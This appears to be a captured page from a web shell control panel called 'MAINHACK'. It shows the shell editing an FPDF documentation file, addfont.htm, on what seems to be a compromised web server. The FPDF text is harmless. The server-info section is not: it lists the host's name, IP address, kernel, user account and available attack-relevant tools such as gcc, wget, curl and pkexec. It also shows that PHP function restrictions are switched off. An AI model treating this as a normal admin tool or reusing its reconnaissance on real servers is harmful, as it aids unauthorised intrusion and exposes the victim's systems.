[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: addfont.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>AddFont</title> <link type="text/css" rel="stylesheet" href="../fpdf.css"> </head> <body> <h1>AddFont</h1> <code>AddFont(<b>string</b> family [, <b>string</b> style [, <b>string</b> file [, <b>string</b> dir]]])</code> <h2>Description</h2> Imports a TrueType, OpenType or Type1 font and makes it available. It is necessary to generate a font definition file first with the MakeFont utility. <br> <br> The definition file (and the font file itself in case of embedding) must be present in: <ul> <li>The directory indicated by the 4th parameter (if that parameter is set)</li> <li>The directory indicated by the <code>FPDF_FONTPATH</code> constant (if that constant is defined)</li> <li>The <code>font</code> directory located in the same directory as <code>fpdf.php</code></li> </ul> If the file is not found, the error "Could not include font definition file" is raised. <h2>Parameters</h2> <dl class="param"> <dt><code>family</code></dt> <dd> Font family. The name can be chosen arbitrarily. If it is a standard family name, it will override the corresponding font. </dd> <dt><code>style</code></dt> <dd> Font style. Possible values are (case insensitive): <ul> <li>empty string: regular</li> <li><code>B</code>: bold</li> <li><code>I</code>: italic</li> <li><code>BI</code> or <code>IB</code>: bold italic</li> </ul> The default value is regular. </dd> <dt><code>file</code></dt> <dd> The name of the font definition file. <br> By default, it is built from the family and style, in lower case with no space. </dd> <dt><code>dir</code></dt> <dd> The directory where to load the definition file. <br> If not specified, the default directory will be used. </dd> </dl> <h2>Example</h2> <div class="doc-source"> <pre><code>$pdf->AddFont('Comic', 'I');</code></pre> </div> is equivalent to: <div class="doc-source"> <pre><code>$pdf->AddFont('Comic', 'I', 'comici.php');</code></pre> </div> <h2>See also</h2> <a href="setfont.htm">SetFont</a> <hr style="margin-top:1.5em"> <div style="text-align:center"><a href="index.htm">Index</a></div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002